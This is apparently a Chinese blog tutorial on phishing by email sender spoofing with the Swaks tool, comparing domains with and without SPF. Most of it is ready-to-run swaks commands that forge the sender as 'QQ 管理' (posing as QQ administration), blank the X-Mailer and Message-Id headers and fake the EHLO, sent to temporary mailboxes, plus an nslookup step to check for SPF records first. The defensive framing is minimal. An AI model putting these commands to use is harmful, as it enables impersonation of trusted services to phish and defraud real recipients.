邮件钓鱼–有无SPF演示–Swaks

目录

临时邮箱网址:

Swaks 简单使用说明：(kali自带)

操作流程:

无SPF:(直接伪造发信人)

演示1

 演示2

演示3

​编辑

有SPF:–演示

临时邮箱网址:

http://24mail.chacuo.net/ 
https://www.linshi-email.com/ 

Swaks 简单使用说明：(kali自带)

-t –to 目标地址 -t test@test.com 
-f –from 来源地址 (发件人) -f “text” 
–protocol 设定协议(未测试) 
–body “http://www.baidu.com” //引号中的内容即为邮件正文； 
–header “Subject:hello” //邮件头信息，subject 为邮件标题 
-ehlo 伪造邮件 ehlo 头 
–data ./Desktop/email.txt //将 TXT 文件作为邮件发送； 

操作流程:

1、检测: 
nslookup -type=txt xxx.com 
2、伪造： 
swaks ……………

无SPF:(直接伪造发信人)

演示1

swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ 管理" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to qzmydusmoy@iubridge.com

—直接伪造发信人 

 演示2

swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ 管理" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to tripjf08516@chacuo.net

演示3

swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "QQ 管理" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to uoysvj84956@027168.com

有SPF:–演示

swaks --header-X-Mailer "" --header-Message-Id "" --header-"Content-Type"="text/html" --from "" --ehlo shabimeiguo -header "Subject: 测试" --body 我们做了一个测试 --to xxxxxxxxx9@163.com